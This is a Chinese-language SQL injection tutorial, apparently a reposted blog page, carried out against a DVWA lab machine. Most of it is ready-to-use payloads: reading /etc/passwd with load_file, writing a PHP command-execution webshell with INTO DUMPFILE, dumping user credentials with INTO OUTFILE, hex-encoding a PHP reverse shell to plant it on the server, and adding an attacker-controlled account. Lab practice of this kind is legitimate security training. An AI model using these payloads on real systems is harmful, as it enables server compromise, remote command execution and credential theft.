SQL注入:2、读写文件和下载数据库
2、讀寫文件和下載數據庫
- 1、讀取文件
- 2、下載數據庫:
- 3、編寫服務器端代碼:
- 4、編碼轉變
- 5、入侵思路
1、讀取文件
下載:load_file()
輸入:‘union select null,load_file(’/etc/passwd’) –
加載你要查詢的文件(能否成功讀取要看你的用戶權限)
上傳:dumpfile
輸入:'union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile “/var/www/a.php” –
上傳失敗原因:
1、我們查看/etc/passwd文件發現,mysql帳號的主目錄為/var/lib/mysql
2、我們查看/var/www/的屬組和屬主發現
只有用戶www-data才有權限進行讀寫
3、所以我們知道若不指定木馬上傳的路徑,他被默認放在/var/lib/mysql下,mysql用戶對這個目錄擁有絕對的權限;但是這樣上傳的木馬文件我們沒法利用
4、無法利用解決方法:操作系統有一個目錄/tmp,這個目錄所有的用戶都有操作權限,我們可以先將木馬上傳到/tmp,然后在通過文件包含漏洞寫入www目錄下(www目錄是網頁訪問的目錄)
'union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile “/tmp/a.php”–
輸入:‘union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile ‘a.php’–
上傳成功
1、此時我們不知道上傳文件的位置,用ssh連接到靶機后執行sudo find / -name a.php
會返回這樣一條路徑
2、當我們想進入這個路徑時訪問會被拒絕,我們查看屬性發現dvwa文件夾的屬主和屬組為mysql,所以普通賬戶無法進入
3、我們切換到root,sudo -i,成功進入,發現上傳文件.php
4、查看a.php:
2、下載數據庫:
輸入:**'union select null,concat(user,0x3a,password) from users into outfile ‘/tmp/a.db’ – **
3、編寫服務器端代碼:
有時候上傳webshell不能滿足你的需求時,你可以編寫一段代碼上傳到服務器端,讓服務器執行你的代碼。
創建一個用戶:
4、編碼轉變
輸入:cp /usr/share/webshells/php/php-reverse-shell.php ./b.php
輸入:cat b.php | xxd -ps | tr -d '\n’
查看b.php,以16進制顯示并刪掉換行符
輸入:**'union select null,(0x木馬文件) from users into outfile ‘/tmp/b.php’ – **
5、入侵思路
當你無法取得服務器賬號和密碼時,你可以自己插入一條賬號和密碼用來登錄服務器
總結
以上是生活随笔為你收集整理的SQL注入:2、读写文件和下载数据库的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SharePoint 部署解决方案Fea
- 下一篇: 51单片机之外部引脚及总线接口